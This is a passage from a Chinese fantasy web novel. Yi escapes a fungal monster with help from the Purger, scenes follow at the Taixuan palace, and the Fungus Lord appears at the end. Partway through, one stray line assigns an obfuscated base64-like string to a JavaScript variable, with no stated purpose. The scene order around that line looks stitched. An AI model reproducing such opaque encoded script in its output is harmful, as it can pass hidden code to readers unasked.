“那只有一个可能了......他就是妈妈临终前嘱咐我要提防的那个男人......混蛋国王殇!但是那怎么可能呢?国王殇一直在王座上沉睡,站在万人之上的他是不可能以这样的存在出现在我的面前的!据妈妈所说,他一直是个很傲慢与强大的混蛋。他在沉睡前曾下令让妈妈研制光之种子为他完成他那个永生的梦想,他曾伤害了许多的人。妈妈说过,想要实现永生,必须将光之种子与暗之石进行结合,所付出代价是我的生命。面前的他究竟是不是那个国王殇呢?如果是,那为什么他没有在认出我的那个时候就杀掉我呢?” 就在伊静静思考的时候,周围传出了渗人的低鸣声。 伊转头看了看周围,发现之前本来一干二净的地面上长出了许多的星幻蘑菇,并且这些星幻蘑菇在以极慢的速度向着伊缓缓靠近。伊见到后察觉到了不妙,没多想直接背起手中的大剑转头就抱着核心向着温室外面跑去。伊紧紧地抱着怀中的核心,她虽然对殇有着些许不满,但是此刻她却一刻不想松手。这时在空旷的温室之中回响起了星幻蘑菇那扭曲的声音,同时许多的星幻蘑菇在温室的墙壁上长了出来。 星幻蘑菇: “别跑!回来!把种子留下!” 伊并没有理会这声音,她一直向着温室的出口奔跑着。星幻蘑菇为了留住伊,它消耗了几乎是全身全部的养分去在温室大棚的墙壁上增殖自己,最后在伊抵达大门之前成功拦下了伊。伊见到这个景象时先是愣了一下,紧接着她拿出背后的大剑,趁星幻蘑菇还没生长结实就一剑劈开了长在门上的星幻蘑菇,同时将大门劈开。星幻蘑菇察觉到了这点,它很愤怒,因为它刚刚所做的一切都前功尽弃了。 星幻蘑菇: “回来!把种子留下!” 伊依旧没有理会它,她直接头也不回地跑着跑出了这间温室。星幻蘑菇哪能放过到嘴的鸭子,它将许多小蘑菇汇聚到了一起,然后以极快地速度吸收了温室内所有能消化的植物,包括殇被蘑菇寄生的尸体,最后一个庞大的真菌怪物在温室内诞生。这个庞大的真菌怪物直接撞碎了温室的一面墙,接着用身上许多的触手将它庞大的身躯从温室之中解放了出来。伊听到背后的响动,出于本能回头看了一眼远处的真菌怪物,随即伊便被这个既恶心又吓人的真菌怪物给吓了一跳。 伊: “这......这是什么?” 核心: “怎么回事?!我不是破坏掉了它的核心了吗?为什么它还能存在?难不成他不知一个核心吗?” 站在温室旁边的是一只有着星之彩的巨大真菌怪物,其样貌十分地扭曲与畸形,就跟被辐射影响的僵尸一样,而且还是那种长着蘑菇的僵尸。凝望它身上的星之彩会使人感到眼中的不适,并且看久了还容易出现幻觉。许多只瘆人的眼睛和许多只细长的触手生长在它的茎干上,在他茎干的正中间处是一张能够吞下许多生物的大嘴,在这张大嘴之中,有着一个只有上半身的扭曲蘑菇人,那个蘑菇人的胸腔是透明的,它胸腔内肿大且畸形的核心透过他的皮肤显露了出来。 星幻蘑菇: “别跑!成为我的艺术品吧!” 伊知道自己压根就不是它的对手,她直接转头就跑,她可不想成为这个大蘑菇的晚宴。真菌怪物见到伊逃跑,立刻向着伊的位置极快地爬行过去。虽然这个真菌怪物的体型很大,但是它的速度一点都不慢。好在伊逃跑的方向正好是植物园内的园林,在真菌怪物即将追上她的时候,她直接冲进了树林之中。但就在她进入树林前的那一刻,真菌怪物的触手已经以极快地速度挥向了伊,就在触手即将抓住伊的时候,两把魔改过的割草镰刀突然出现在伊的身后,直接一个回旋切断了这个触手。不用多说,能使出这一招的只有伊怀里抱着的核心。 核心: “想动她,门都没有!” 伊一听这话,心里有些感动。紧接着伊靠着树林之中树木多的特点渐渐与真菌怪物拉开了距离。真菌怪物见此立刻开始用触手打碎拦路的树木,并且用大嘴吃掉面前挡路的树木,但即使这样,它与伊的距离依旧是越来越远。在伊跑了不知多久之后,她在一颗粗壮的树旁边停下了。她用手拄着树,嘴里喘着粗气,此时她已经是汗流浃背了。她的视线有些模糊,她的喉咙很干也很痛,她现在已经中暑了。 伊: “呼......呼......现......现在,应该是甩掉它了。” 在伊说完这句话之后,她全身无力地靠在了这棵树上,紧接着她坐在了树底下休息。她抬头看了看在树冠之间的缝隙之中的太阳,她眼中的太阳现在已经是非常模糊了。她此时看了看自己身旁的核心,她用仅有的一点力气拿起了殇的核心。她仔细打量了一番殇的核心,她惊奇地发现殇的核心在她眼里有一种莫名的可爱,也许是因为她的审美是这样,又或许是因为她中暑后头脑有些不清醒。她用手指蹭了蹭殇的核心,又用戳了戳殇的核心。殇的核心见到伊因为天气炎热而涨红了的脸和她那迷离的眼神,他明白伊现在是神志不清的时候。 伊: “殇......想不到......想不到你的本体竟然这么可爱。呵呵呵......呵呵......真想买一个你这样的机器人陪着我啊,我自己一个人孤独了很久了......” 核心内: “这家伙说胡话了,看样子我得想办法给她消消暑。” 核心: “你这家话开始说胡话了,看样子中暑中的不轻啊。” 伊: “哦~?是......是吗。我说我怎么这么难受呢。” 就在伊准备继续说胡话的时候,之前那个真菌怪物的触手突然从树后出现了。殇的核心见此刚想提醒伊快跑,可是没等它说话,真菌怪物的触手就先抓住了伊。这个触手将伊抬到了空中,接着那个真菌怪物以一种更加怪诞与吓人的姿态出现在伊的面前。伊此时的意识很模糊,她能依稀认得出面前这个扭曲的怪物是之前一直追杀她的星幻蘑菇。 星幻蘑菇: “终于让我逮到你了!哈哈哈。种子是我的了!” 殇的核心此刻跌落在了地面上,他想要帮忙,但是由于他没有肉体,他只能眼睁睁看着星幻蘑菇伤害伊。 核心: “不好!该死的,现在没有肉身,帮不上忙啊!” 伊试着挣扎,可是双臂被牢牢抓住的她压根就没办法反抗得了它。星幻蘑菇感觉到了伊的挣扎,它狂妄地笑了笑,接着更加用力去抓着伊,以此来嘲笑她的弱小。它这一用力使得伊的呼吸开始变得困难,同时伊被它抓着的位置传来了一阵剧痛。 星幻蘑菇: “哈哈哈!弱小!你太弱了!现在,没有人能够救你了!” 话音刚落,一个暗金之拳突然出现打断了它抓着伊的触手,伊随即摔在了地上。这突然的转变整得它一脸茫然,在它反应过来后,它看了看地上刚刚站起身来准备逃跑的伊,它刚想伸出触手去抓住伊,这时一个身披大衣的女人出现在了他的眼前。 “抱歉,小可爱,来晚了。” 伊听到这个熟悉的声音,赶忙抬头向上看去,发现来者竟是当初的肃清者。伊见到她很惊喜,也很惊讶。 伊: “大姐姐!你怎么来了?” 肃清者: “小可爱,姐姐当然是来救你们的了。” 就在肃清者和伊说话的功夫,星幻蘑菇的触手从肃清者背后的地面钻了出来,准备趁其不备偷袭她,但是这点细节肃清者都一清二楚。就在这个触手攻击的一刹那,肃清者只是轻轻地抬起了左手,这个触手便被一道激光化作了灰烬。 肃清者: “我很讨厌别人在我聊天的时候打扰我,尤其是我在与小可爱们聊天的时候。” 说完,肃清者的身后出现了十只悬浮在空中的规则之手,这十只规则之手全都张开五指,接着每只规则之手的手心处缓缓打开了一个大洞,大洞内壁闪耀着金黄色的光芒。一阵阴冷的狂风吹过,许多树叶飘散在地面上,一种强大的精神压力作用在每一个人的心头,如临大敌的压迫感使得周围的一切生物感到了恐惧。肃清者的那张有着甜美笑容的脸渐渐变得严肃,并且阴了下来。 伊: “好......好强大的气势!” 星幻蘑菇: “完了,我好想惹了不该惹的人。” 肃清者盯着星幻蘑菇本体中心的核心,她的嘴角微微上扬,她此时此刻已经知道了星幻蘑菇的最大弱点了,想要消灭它,只是几秒钟的事了。 肃清者: “看来,你也不过如此啊。” 话音刚落,肃清者身后的十只规则之手手心处的大洞内开始汇聚能量,随着肃清者对着举起了左手,这十只规则之手瞬间在肃清者上方排成了一列,接着十道金色的闪电劈向了星幻蘑菇。星幻蘑菇伸出触手抵挡,但是就凭它的触手压根挡不住这十道闪电,因此它消耗了许多能量去生成了更多触手去抵挡这十道闪电。 就在这十道闪电被它拼尽全力勉强挡下后,它本身的质量少了大半,它的体积变小了许多。星幻蘑菇在这时想要逃跑,但是没等他开跑,只见肃清者对着它张开了五指,接着一个充满科技感的炫酷空间环(bS公司的奇点科技使用者使用折跃技术时的一个标志)出现在她的手前。肃清者的嘴角微微上扬,不到一秒,肃清者就瞬移到了星幻蘑菇本体前。星幻蘑菇的本体与肃清者只有不到半米的距离,这个距离已经是星幻蘑菇无法逃脱的了。星幻蘑菇看着眼前的肃清者,心中有着无尽的恐惧。肃清者只是微微一笑,她用空间撕裂直接穿过了星幻蘑菇的身体。她背对着星幻蘑菇举起了一团发着金色光芒的真菌球,真菌球上有着许多的触手,这些触手还在活动,显然它们还具有活性。 星幻蘑菇此刻感觉到了一阵难以忍受的剧痛,这种疼痛使得他停下脚步留在原地喘息,他的身体开始快速衰竭,许多的白色结晶出现在他的皮肤上。他试着感应自己的核心,可回应他的只有疼痛与寂静,他已经感应不到自己的核心了。 星幻蘑菇: “这......这是怎么回事?我的......我的核心去哪里了?” 星幻蘑菇突然意识到了什么,他猛地一回头,只看到肃清者用手拿着他的核心。他的眼神之中很是惊讶,他难以想象肃清者是怎么在一瞬之间取走自己的核心的。星幻蘑菇无比绝望地向着肃清者伸出了手,他想要夺回自己的核心,可是此刻的他已经没有力气了。 星幻蘑菇: “不......不要......放过我......” 肃清者: “下辈子注意点,别再去惹那些你惹不起的人。” 说完,肃清者稍稍用力捏爆了星幻蘑菇的核心。星幻蘑菇在核心被捏爆之后开始了剧烈的抽搐,他十分痛苦地倒在了地上。他的身体渐渐变成了白色的晶体,他就这么痛苦着变成了一尊白色的雕像。 肃清者拍了拍长袍上的灰尘,接着转头看向了在一旁目瞪口呆的伊。她看着伊重新露出了笑容,她笑得特别淡然,就仿佛刚刚什么都没发生一样。她的笑容让伊心中感到恐惧、不禁寒毛直竖。 肃清者: “没吓到你吧?小可爱。” 伊: “没......没有。肃清者姐姐,你......你挺强的,几下就把这个怪物解决了。真是太厉害了!” 肃清者: “小可爱,多注意点安全。我这边很忙,我不保证每一次灾难出现时我能及时到场。所以你要保护好自己,也要保护好你自己体内的种子。” 伊: “知道了......” 肃清者对着伊露出了甜美的笑容。 突然,她想起了某件事,她的笑容瞬间消失,取而代之的是她平常的严肃。她从大衣的口袋里拿出了一个古铜色的怀表,她看着这个怀表露出了微笑,因为她知道这个怀表从何而来。她将这个怀表递向了伊,伊见此便伸出手去接。她轻轻地放在了伊的手心处,接着她轻轻地用手指抚摸了一下这个怀表光滑的表面。她抚摸了一小会就将手抽了回去,她用坚定的眼神看着伊。伊从她的眼神之中看出了前所未有的坚定与一丝不舍,那种感觉仿佛是将希望托付给了她。 肃清者: “小可爱,能否请你在殇重获肉体时将这个怀表交给他呢?” 伊: “可以呀。” 肃清者: “你能答应我别偷偷打开那个怀表吗?里面有些东西你现在不能看。” 伊: “可以。” 肃清者: “希望你能遵守诺言,小可爱。——我有一些事要处理,我先走了。注意安全,伊。” 说完,肃清者看向了另一旁被遗忘的核心。她走了几步走到了这个核心的旁边,她捡起了这个核心仔细打量了一番。核心内的意识见到肃清者之后并未说话,他只是静静地看着面前的肃清者。 在一个瞬间,肃清者的样子瞬间变成了一个十分可爱的孩子,那个孩子的小脸蛋上挂着笑容,她的笑容是那么甜美、那么天真,就仿佛春天盛开的花朵。这个笑容是他一生无法遗忘的...... 突然之间,一段破碎的记忆浮现在他的脑中。 那是一段在一个破败不堪的城镇之中的回忆。 那时城镇之中火光冲天,无数的房屋变成了破碎的废墟,废墟之中有着许多的武器与尸体,看起来这里刚刚经历了一场大战。血腥味弥漫在空中,硝烟的气息充斥着周围。此刻的他,还能隐约听到几声枪响。就在他提着手中的大剑处死战俘的时候,他听到了来自废墟深处的哭声。出于善心,他独自一人来到了那个传出哭声的废墟,接着用手扒开了废墟之中的破碎石块,在他推开一块巨大的墙体碎块之后,他被眼前的景象给深深震撼到了。 只见一对身穿高档礼服的夫妻用自己的身体死死地支撑着他们身后那面巨大的墙,这对夫妻用自己的身躯成功制造了一个能容纳一人的生存空间。在这个他们所制造的生存空间之中,一个只有不到七岁的小女孩正顽强地生活在其中。阵阵哭声从小女孩口中传出,她在用一门不属于这片土地的外语呼唤着她的父母,可是她的父母已经为了她而死去了,回应她的只有寂静。他看到眼前的景象后内心十分感动,他决定救下这个失去了双亲的小女孩,于是他对着这个小女孩伸出了援手。 “别担心,小家伙。抓住我的手,我带你离开这里。” 见到他对自己伸出了援手,这个小女孩出于求生的本能,她对他伸出了手。他的大手抓住了她的小手,在那个时刻,那个小女孩感受到了眼前这个陌生人心中的善意。他推开碎石,将她小心翼翼地从废墟之中抱了出来。女孩在他怀中哭泣,他一边安抚女孩的情绪,一边带着她远离废墟。与他同行的战士见了,上前去询问。他撒谎这是难民的孩子,还主动告诉这名战士自己想收留女孩的想法。战士自然是很支持,当然是建立在他对女孩身份毫不知情的份上。 “dad!mom!” 女孩哭喊道。一旁的战士见了,问道: “这小丫头说的什么玩意?” 殇笑了笑,很自然地回答: “这是这里的难民被殖民者欺负惯了,为了讨好殖民者,刻意学的好听话。就是奉承对方,讨好对方的话。据说对殖民者说这些,有的殖民者就不会那么残忍。” 一旁的士兵听了,恍然大悟道: “原来如此。真是可怜这小丫头了。家乡话没会几句,这丧气的外国话就熟练地说出口了。哎......可怜的娃啊。” 殇冲这个士兵一笑,随后抱着女孩离开。事后除了殇的心腹罗·凯撒知晓此事的真相外,其余人等均认为将军义女澪为难民子弟。实则当初被救下的女孩,是殇最痛恨的殖民者的后代。 ...... 此时,在太玄国皇宫地下的地下宫殿之中,许多工作人员正在其中进行每日的工作。 这座地下宫殿是太玄国皇帝专门修建的,其目的不得而知。这座宫殿的规模极其豪华,其规模仅次于上方的皇宫。这座宫殿内各种设施齐全,各种各样的机构应有尽有,完全不用担心各种缺东西的问题。其中还有一颗从碧蓝世界公司买来的“树”,这棵树能够源源不断地产生核心能量,这些核心能量将会庇护整座城市的人们免收疫病的威胁。 此时,在科学实验室之中,轩正静静地躺在维生舱之中,她被迫进入了睡眠状态,以保证体内能量以最慢的速度流逝。在维生舱外面不远处的分析室中,太玄国的顶级科学家们正在分析轩血液之中的成分。在长达四五个小时的分析研究中,这些顶级科学家被轩血液的性质深深地震撼到了。 轩的血液的血型属于x型,是仅存在古代炼金师宝典中记载的、完成一系列神秘仪式之后的究极人类才该有的血型。当初这种血型可是连站在人类科学之巅的炼金师也没制造出来的圣物,而如今这种如同珍宝一般的血液竟然在轩的身上出现了,这着实震惊到了所有科学家。 不仅如此,轩的血液在离开轩的身体之后表现出了强大的活性,并且仿佛有灵性一样在分析机里动来动去。轩的血液周围还有一种特殊扭曲能量,这种扭曲能量不会导致核心佩戴者变成强大的扭曲生物,这与扭曲能量的本质有着很大的差别。并且轩的血液在静置之后发出了一种特殊的红色光芒,这种红色光芒看上去十分美丽,就跟一颗晶莹剔透的红宝石一样。随后这些科学家对着这些血液进行了各种各样的实验,最后确定了现在轩究竟为何种存在。 轩现在的本质是介于扭曲高等生物天灾与人类和扭曲生物之间的第四类生物,这种生物暂时被称作“究极生物”。轩现在所蕴含的力量远超天灾,她现在能够很轻易杀光这座皇宫内所有的人,就连那些强大的修仙人士都不是她的对手。只要她想,太玄国上下没人能够打赢她。如今她就跟一颗定时炸弹一样,随时都能要了所有人的命。但轩还有人性,她还能控制自己的行为,而且她还忠诚于朝廷。据科学家们深入分析,她的意识中貌似有什么东西能够使她控制得住自己,那个东西貌似使她最珍视的东西,具体是什么,目前没人知道。 在有关轩的分析结果送到了太玄国皇帝胤手中的时候,太玄国皇帝也被深深地震撼到了。太玄国皇帝知道轩现在究竟有多危险,但是念在旧情,他还是决定让轩重回自己的身边,无论她是否能对他本人构成威胁。在太玄国皇帝下令让轩回归之后,皇宫内的所有人都表示了赞同。 在轩离开实验室之后,轩的心情很是复杂。虽然她得知了她能继续做龙凤卫的好消息,但是她因为一些心理因素仍闷闷不乐。她一个人悄悄坐在了皇宫内一个偏僻的小池塘旁边的凉亭之中,凉亭之中空无一人,只有她独自一人。她坐在其中一个长椅上静静地看着池塘中间的盛开的莲花,一言不发。蜻蜓在池塘上荷花与荷叶之间自由自在地飞舞着,不时水面上还浮现出泛起阵阵波澜。轩静静地看着眼前的池塘,她的内心就如这池塘一样,有着许多的波澜。 轩惴惴不安地说: “大家还能接受我吗?现在的我已经是扭曲生物了,也许......大家会对我保持什么偏见吧,毕竟我本质上已经不再是人类了.......他会不会嫌弃我呢?皇宫上下就我能对所有人造成致命威胁,想必他一定视我为敌人吧。” “不一定。” 轩回头看去,她惊奇地发现墨子邵不知何时坐在了她的身边。她刚想张口说些什么,墨子邵一把抓住她的左手,接着将一个很特别的手镯戴在了她的手腕上。 墨子邵微笑道: “现在就是一定不了。” 轩看了看这个手镯,她发现这个手镯很奇特,它比正常的手镯要粗,而且上面还有着一个龙的标志。 “墨子邵......这是?” “皇上专门给你定制的手镯,其名为龙印。戴上了它,你就可以控制你体内那股不可控的力量了。从此你再也不会出现失控的情况了,你再也不是威胁了。” 轩听到这话后喜出望外,她的表情印证了她内心最真实的想法。 “太......太好了!可......大家还是会嫌弃我的。” “不,大家不会嫌弃你的,起码我不会。” 轩听到墨子邵这么说,她心里悬着的石头放下了。她与墨子邵对视了一秒,接着她嘴角露出了一丝笑容。墨子邵看着轩,也露出了微笑。他对着轩伸出了手,并用一种温和的眼神看着轩。 墨子邵郑重地说: “轩,欢迎回归。” 轩一把握住了墨子邵的手,她笑着点了点头。过了一会,她与墨子邵握着的手松开了。墨子邵刚起身准备带着轩回到岗位上工作,轩立刻就叫住了他。 “墨子邵!等下......” 墨子邵好奇地问: “怎么了?” “你......你能先别走吗?” “为何?” “你能陪我赏会花吗?” 说这句话的时候,她脸红了,同时她有一丝丝地紧张。轩此刻的眼神十分坚定,其中蕴含着满满的期待。墨子邵注意到了这些,但他未能理解其中的含义,他只是单纯的理解为轩的一次普通请求,因此他直接点头答应了。 墨子邵微笑道: “行吧,就看一小会。一会我们还得回去保护皇上他们的安全。” 就这样,墨子邵坐在轩的旁边陪着轩看了一小会池塘里的花。在这个过程中,本来善谈的轩突然变得不爱说话,她一直在找话题与墨子邵聊天,可是她一直没找到合适的话题,这就导致她们两个之间的聊天变得很尴尬。虽然两人一直在尬聊,但是两人脸上的微笑从来没有消失。聊着聊着,墨子邵无意间聊到了两人的过去,打开话匣子。 墨子邵: “话说,你还记不记得十年前家乡的雪?” 轩: “记得,当然记得。” “我那时候骗你说吃蕴魔雪花能增长修为。你信了,就在我面前吃了两片蕴魔雪花,然后冻坏了舌头。” “你还记得呢?我早就忘记了。” “我觉得我欠你个道歉。不过回想起你当时的样子......噗,还是忍不住想笑啊。哈哈哈......” “你还好意思笑?因为你,我喝了半个多月的药粥诶!” “抱歉,抱歉......实在是有些绷不住了。” “你好意思说我之前该仔细想想,那时候是谁耍帅掉了河里,又是谁哭着喊着要我去救呢?我还记得有一次,你可是因为和同门师兄打架而摔倒在牛粪堆里了呢。噗......你那时的狼狈样我至今还记得。” “额......害,都是年轻时犯下的傻啊。” “墨子邵......我有种感觉。我们所在的这个地方有些莫名的熟悉,好像我上一辈子在这里遭遇了什么事。” “啊?你也信那些玄幻的东西吗?” “没有没有。我是唯物战士,不信鬼神。可那种感觉的确很真实,好像上辈子记忆的今生又回来了一样。” “那种事有可能吗?” “谁知道呢?也许就有......” “这个世界还真是起码呢。” 这时,墨子邵从口袋里拿出一张纪念邮票,随后塞到轩的手中。轩接过邮票一看,发现是一张海洋主题的邮票。 轩好奇地问: “墨子邵,这是?” 墨子邵解释道: “好看吗?这个送给你了。” “唔......送给我了?谢谢!” “你喜欢大海吗?” “诶?这个吗......说喜欢还不至于,就是有点好奇。我是从内陆长大的,也没时间去海边看一看。说海,对我来说皆是未知。” “你想去看一看吗?” “想!” “今年的国庆假,我向皇帝争去争取,多放个一两天。到时候,我们去海边看一看,怎么样?” “真的?!但......不会顺带要处理什么事吧。” “答对了。” 一听墨子邵这么说,轩的表情有一丝不易察觉的失落。但紧接着,墨子邵说道: “你不是很好奇热带风情吗?前几个月说想吃纯真的海鲜没处买。正巧,带你走一趟都帮你完成喽!” “真哒?!诶呦,你真好!墨子邵。” “那你算是答应了?” “嗯。答应了。你可不许反悔哦!” “君子一言驷马难追。” ...... 在余下时光与轩的聊天之中,墨子邵得知了轩喜欢莲花的事实。在讨论莲花的方面,轩比墨子邵要专业许多,仿佛她是一位老练的花匠。一谈到莲花,两人的聊天瞬间变得不那么尴尬了。但没等这个话题聊开,由于时间要求,墨子邵立即终止谈话,然后他带上轩回到他们两人的工作岗位上。 window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 天堂岛—第四话:菌主现身 肃清者对着这个核心笑了笑,然后她小声对着这个核心说了一句话。 “加油吧,承载希望的你。我们还在等着你的归来......” 殇听完这句话后陷入了深思,他仔细品析着肃清者这一席话语。没等他思考出这话的意思,肃清者就将它重新交还给了伊。在将核心交还到伊手上的时候,肃清者有些不舍地抚摸了一下这个核心,仿佛是在向一位重要之人道别。 “你们多保重,我先走了。” 伊点了点头。肃清者对着伊笑了笑,伊也对肃清者笑了笑。肃清者往后撤了几步,然后几道金色的雷电包裹住了她,在一道耀眼的光芒之后,肃清者消失了。 核心说: “不知为何......见到她的身影,我总有一种熟悉的感觉,似乎我与她有着某种关系。” 伊好奇地问: “熟悉的感觉?” “对,熟悉的感觉。我意识深处如同碎片一样的记忆告诉我她是我熟悉的人,可我怎么也想不起她究竟是我的什么人。这种感觉很操蛋!想弄到,却怎么也弄不到。” “别为这件事操心了,也许到那天你就想起来了呢。” “你说的也对,现在想不起来,以后就会想起来的。” 这时,从森林之中传出了一个老妇人诡异的笑声。听到瘆人的笑声,伊不禁寒毛直竖,她本能地往后撤了两步。伊紧紧地盯着声音发出的地方,一刻也不敢松懈。她知道,如果现在再出现那种强大的怪物,她根本就没有生还的可能。 伊心想: “这是什么声音?又是......什么强大的怪物吗?” 这时,一个声音突然从伊的身后出现。 “你好啊,小姑娘。” 伊听到这个声音时被吓了一跳,她连忙往前走了几步,紧接着转头看向身后。此刻,一位老妇人站在她的面前。这位老妇人有着一头雪白的头发,她的脸上全都是被岁月摧残过痕迹,满脸的皱纹之中蕴含着时间的气息。她身披一件破旧的黑色斗篷,手持一根上面绑着骨头的拐杖,全身散发着诡异的气息。 伊十分害怕地问: “你......你你你......想干什么?我......我告诉你,我可是很厉害的!” 这位老妇人见到伊这么害怕自己,赶忙露出温和笑容来缓和伊的紧张的心情。 “别害怕,小姑娘,我是不会伤害你的。我只是住着这附近的一位老园丁而已,你不必害怕我的。” 伊听到这位老妇人这么说,她十分紧张的心情缓和了许多。伊转头看了看周围,她发现树林之中并没有房子。 “可这周围并没有房子啊。” 老妇人笑了笑。 “哈哈哈......这你就不知道了。我的房子在树林之中有很好的掩护,一般人是找不到的.......对了,我看你脸这么红,你应该是中暑了吧。” 伊点点头: “没错。” 老妇人邀请伊道: “跟我来吧,小姑娘。去鄙人的宅子,我宅子里有水。” 伊一听这个老妇人这么说,她有些犹豫。她有些不相信这个突然出现的怪异老妇人,但出于内心的纯洁,她还是选择相信这个老妇人。 伊向这个老妇人鞠了一躬,又面露微笑地说: “好。谢谢啦,老奶奶。” 伊的行为很讨老妇人喜欢,老妇人脸上的和善更甚几分。老妇人伸出手示意,说: “跟紧喽,小姑娘。鄙人的宅子离这不远,一会就到了。” 说完,这个老妇人就转身向着树林的深处走去,伊就跟在她的身后。与老妇人并肩前进时,伊莫名其妙的感到安心。也许是在无人区待久了的缘故,见到活人后伊难免有些心感亲切。 过了一会,一片开阔平地出现在她们的眼前。 在平地左侧的是一栋很朴实无华的小木屋,木屋屋顶上有这样一个小烟囱,看起来很是别致。在平地右侧的是一个熄灭了的篝火和几个围在篝火旁的树桩,同时许多的农用工具都放在了树桩旁边的农具架上。在平地的周围有着几片花丛,花丛之中有着各色的鲜花,在这些鲜花之中,有着几株含苞待放的玫瑰。 老妇人微笑着说: “这就是我居住的地方。虽然很破旧,但是对于我来说已然足够。宁静的生活,还有一片树林的陪伴,好不惬意呀!” 老妇人又指了指花丛中的那些花,说: “那些都是我养的花。怎么样?是不是很好看啊?” 伊顺着老妇人指的方向看去,见到老妇养的花,伊很自然地露出了微笑。伊点了点头,告诉老妇人: “嗯。的确很好看。” 老妇人指着她的小木屋,说: “那是我的房子。跟我来,小姑娘,我带你去屋里喝点水。” 伊点点头说: “好。谢谢你,老奶奶。” 老妇人笑了。 “你的小嘴可真甜啊,小姑娘。” 说完,这个老妇人就带着伊来到了她的小木屋之中。 推开门,映入眼帘的是一张十分有年代感的木桌与两把很精致的椅子,木桌上有着一个放着红色水果的碟子与一盆美丽的紫罗兰。这个老妇人示意伊坐下,伊点了点头,然后坐在了木桌旁边的椅子上。接着,这个老妇人从厨房拿出了一个小茶壶和一个杯子,她将杯子放在了伊的面前,然后给伊倒了一杯水。 老妇人热情地说: “喝吧,孩子。” 伊微笑着答应: “嗯。谢谢你,老奶奶。” 说完,伊拿起杯子一口喝了个精光,她实在是太渴了。老妇人见此情形露出了欣慰的笑容,她真的太久没有看到像伊这样可爱的孩子了。 老妇人笑道: “孩子,你要还想喝就再倒点。要喝完了就从厨房的饮水机里面再接点。我有点事,我先出去处理一下。” 伊站起身来,主动提议要帮老妇人。 “老奶奶,我来帮你吧!” 老妇人连连摆手拒绝。 “不用了,孩子。我一个人处理就行。” “真的不用吗?” “不用,谢谢你的好意,孩子。” 说完,老妇人匆匆推门离开了房间,只留下伊独自一人。 在老妇人离开后,伊独自一人在空荡的房间里静静地喝着水。在伊终于感觉到不渴了的时候,伊才注意到房间内的布局陈设。伊环顾四周,这时挂在房间东墙上的巨大旗帜吸引了伊的注意。 这面旗帜上是一个站在黄金基座之上的人,它十分高大,身穿青褐色特制带帽长袍,它的头顶有着一对挂着小花且有着精美纹路的鹿角,背后有着两对长满黄色星星的蓝铁色的翅膀。它的左手拿着一个金色的天平,右手拿着一朵美丽的水仙花,看着它让人心生敬畏。它的面部是无尽的黑暗,在这黑暗的中心,有着一颗发着银光的星星。无数的星光汇聚在它的周围,满天星河皆是它的朋友。 看到这个标志,伊回想起了一段不好的回忆,她不禁寒毛直竖。见到伊这样,殇的核心不禁好奇地问她: “你认识旗帜上的这个家伙吗?” 伊听到殇这么问,她故作镇定地告诉殇: “没有。” 但她心里实际上是知道旗帜上的这个人究竟是谁的,只不过她不想说,她不想让殇知道太多有关于她过去的事。就在这个时候,房间的门突然打开了。伊转头看向打开的房门,发现那个老妇人提着一盏黑色的提灯走了进来。 老妇人似明知故问般地笑着问道: “孩子,那个旗帜是不是让你回想起了什么?” 伊急忙摇头否定: “没......没有。我什么都不知道......” 听到伊的回答,这个老妇人露出一抹意味深长的笑容,然后缓缓往左横移了几步,似乎是在给某人让出位置。 老妇人对伊发出灵魂拷问: “你确定吗?孩子。” 伊的眼神往左飘了一下,她心虚的表现尽在老妇人的预料当中。 “真的没有!” 见伊仍不肯承认,这个老妇人笑了笑,随即轻轻地摇动手中的提灯,然后许多黑色的触手从她右手边的地面处升起。这一幕着实吓到了伊,伊不由得怔住在了原地。 反观老妇人身旁,那些触手相互纠缠,接着紧密缠在了一起。见到此景,伊瞬间瞪大了眼睛,她的全身在颤抖,她的表情很是惊恐,看样子她十分害怕接下来会出现的“那个存在”。 在短暂的安静之后,这几个触手相互分开了,接着旗帜上所描绘的那个存在出现在了伊的面前。它与旗帜上的样子一模一样,唯一不同的是它的手中没有天平和水仙花。 核心询问: “它......它是谁?” 伊没有回答殇的问题,而是望着面前的存在惊恐地说: “是......是......是你!菌......菌之领主!” 伊面前这个高大的存在是黑森林秩序的守护者,也是所有生态群系的监控者,其名为:“菌主”,传说当中可以毁灭一方世界的冥古上神。它的出现毫无疑问极具压迫力,光从气场上来看就可以震慑八方。 菌主搓了搓手,接着用温柔的女性清甜嗓音与伊说话: “别那么害怕,小姑娘。你与我并无瓜葛,你我只是在不恰当的场合见了几次面而已。不必如此惊慌。” 伊害怕到了极点,她的腿忍不住地在发抖。菌主见此伸出手想要抚摸伊的头来缓和伊紧张的心情,可伊本能地后退了几步躲开了菌主的手。 伊万分惊恐地说: “别......别过来!别杀我!求求你......别杀我!” 伊还在往后撤,突然,她一个脚滑倒在了地上。她十分惊恐地看着眼前的高大的菌主,她心里知道,惹了它,她没有生还的可能。伊的嘴里念叨着求饶的话,同时身体本能地继续往后撤。菌主见此对着她伸出了手,接着两个黑色的触手从伊的身体下方出现,这两个触手抓住了伊的肩膀。感觉到被触手抓住的伊停止一切动作,她心里知道她现在死定了,于是她闭上眼睛静静等待死亡的降临。 伊心里: “止步......于此了吗?” 此时,伊的眼前浮现过去的回忆...... 一年前,碧蓝苍穹将伊拉入自己手下的三号科研小组,开始针对黑森林这一神圣区域的研究。刚读完硕士的伊意气风发,对未来探索的欲望空前的高涨,更欲开拓出一片属于自己的新天地。碧蓝苍穹的邀请正中伊的下怀,伊自然没有拒绝,虽然她对叔叔碧蓝苍穹非常反感,但考量这件事的优劣后她还是选择加入科研小组。 在科研小组的这半年里伊做出了不少贡献,同时也被碧蓝苍穹偷偷骗过几次。伊母亲伊娜留下的特别文件大多通过伊的手交到碧蓝苍穹手中,其中多是关于黑森林的资料。伊在不知情的情况下将母亲的研究成果交到自己叔叔手中,只因一时爆棚的求知欲望冲昏了她的心灵。事后她明白真相后后悔不已。 除此之外,伊的研究天赋得到她母亲遗传,她只身支撑起科研三组的一切,与众多科研人员一起,将科研三组从低谷中拯救了出来。当年最辉煌的时候,科研三组也被碧蓝苍穹在公司表彰大会上表扬过。可惜好景不长,在一次针对「特殊真菌」的研究中发生了一场意外,这场意外永远改变了伊和科研三组。 